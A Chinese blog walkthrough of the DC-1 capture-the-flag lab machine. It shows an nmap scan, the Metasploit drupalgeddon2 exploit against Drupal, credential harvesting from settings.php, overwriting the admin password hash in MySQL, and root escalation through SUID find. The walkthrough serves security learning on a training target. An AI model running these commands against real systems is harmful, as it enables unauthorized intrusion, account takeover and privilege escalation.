DC-1靶机学习

安装好靶机后,使用nmap对同网段的存活主机进行扫描,得到靶机的开放端口,这里nmap的命令需要用管理员命令执行
sudo nmap -T4 -sT -O 192.168.8.1/24
得到靶机开放的端口,有2280111,其中22端口可以连接ssh服务,80端口的http服务以及111端口,SUN公司的RPC(Remote Procedure Call,远程过程调用)服务所开放的端口,主要用于分布式系统中不同计算机的内部进程通信,有rpcbind漏洞

本次操作中没有用到22和111端口

既然有80端口,那就直接去访问网页

刚开始摸不到头脑,傻傻的还去扫了网站目录,然后才知道这个网站用的是Drupal,这个CMS的漏洞还挺多,去Metasploit一搜便有,直接用第四个exp,别的似乎不得行。
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2

查看payload的参数,编辑攻击目标机器的IP地址
show options
set RHOSTS 192.168.8.154

运行payload开始攻击,得到返回的会话窗口,攻击成功

获取shell,然后为了交互更加清晰,利用python反弹shell回来,查看当前权限,是www-data,权限很低
python -c "import pty;pty.spawn('/bin/bash')"或者
python -c "import pty;pty.spawn('/bin/sh')"

拿到shell后肯定得看看当前文件夹的东西,可以看见图中有flag1.txt,打开康康,看这句话的意思是提示我们去找网站的配置文件

在一堆文件中翻了半天,终于翻到了配置文件,其实更聪明的做法是上网搜索drupal的配置文件在哪里
配置文件位置/var/www/sites/default/settings.php
打开来看看,好嘛,获得了数据库的用户名和密码,以及flag2

有了数据库的用户名和密码,这肯定得去数据库逛一圈,看看有没有用户以及密码,先看看mysql服务有没有开,用ps查看所有进程,然后利用grep筛选mysql服务的端口号3306
ps aux|grep 3306

既然数据库服务开着,那么我就要进来咯
mysql -udbuser -pR0ck3t

进入数据库drupaldb,查看表,发现users较为可疑,查看users表的内容,有用户admin和Fred,密码都是被加密过的

此时,去参考别人的wp,原来每个cms都有一套自己的加密脚本。得知这个后,思路就清晰了,先利用这个脚本将自己修改的密码加密,然后将admin的密码密文修改为我们自己的,这样就可以去利用admin的身份登录网站了
于是目标变成了寻找加密脚本,在/var/www/scripts文件夹下发现名为passwod-hash.sh的脚本文件

打开文件,里面是加密代码,但是我看懂了最后一句,这不就是把输入的密码加密后返回输出嘛,那也就是直接用脚本将自己的密码输入,然后等待密文输出就行

这里出了点小插曲,不知为何直接在scripts文件夹下调用password-hash.sh就会报错,而从www文件夹下调用则不会出错,懂得大佬可以解释一下吗
这是直接在scripts文件夹下调用./password-hash.sh 123123

这是在www文件夹下调用./scripts/password-hash.sh 123123

小插曲过了之后,我得到了123123加密后的密文$S$D4iRWkvx3ubw.Z9ha3YVkztuQauW2kl6t9SXmaX26pMf8AGltwa9
打开mysql数据库,用这段hash密文将admin下的pass替换

update users set pass="$S$D4iRWkvx3ubw.Z9ha3YVkztuQauW2kl6t9SXmaX26pMf8AGltwa9" where uid=1;

查看发现pass已被修改

回到网站,使用admin账号登录,密码123123

可以登录,用户为admin

在以前的内容中翻到了flag3.txt,文中提到了passwd,那就准备去/etc/passwd看看

可以看见最后一行,有用户flag4,在home/flag4可能会有信息
cat /etc/passwd

果然,有flag在root用户文件夹下,我们需要提权为root才能进去查看

首先查看具有suid 权限的可执行二进制程序,两种方法,最后的2>/dev/null的作用是将错误信息输出到/dev/null,这个地方也可以被理解为一个垃圾桶吧,也就是不让垃圾信息干扰我们获得的信息
find / -perm -4000 -type f 2>/dev/null或者
find / -perm -u=s -type f 2>/dev/null
可以看见find命令有suid权限,也就意味着他能以root身份执行程序,如果find不具有suid权限,那提了也只是普通权限

这里利用find命令提权,flag4.txt可以替换为一个任意存在的文件,否则会报错
find / -exec "/bin/sh" \;
查看权限为root,提权成功

进入root文件夹下,看见有名为thefinalflag.txt,看样子这是最后一个flag了,至此DC-1靶机通关完成




最大的收获彻底了解了find提权的原理
find命令中-exec参数是用来执行命令的
正常是find dir -exec cmd \;
find dir -exec cmd {} \;中,通常需要后面的cmd命令来处理前面find查找到的文件,所以就需要把文件名传给cmd,此时{}的作用就显现出来了,{}是来表示find到的文件名,做占位符用。而后面的\是因为shell中会把;识别为结尾,此时在shell看来,输入的命令则是find dir -exec cmd {},对比图如下两个(img-LOkKyTcD-1667990235659)(../_resources/a76590074e4ef536e71ce14e2ae22d8f.png)]
在这里插入图片描述

具体请看
find常用命令
find提权为什么需要{}和\
find命令提权常用命令

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值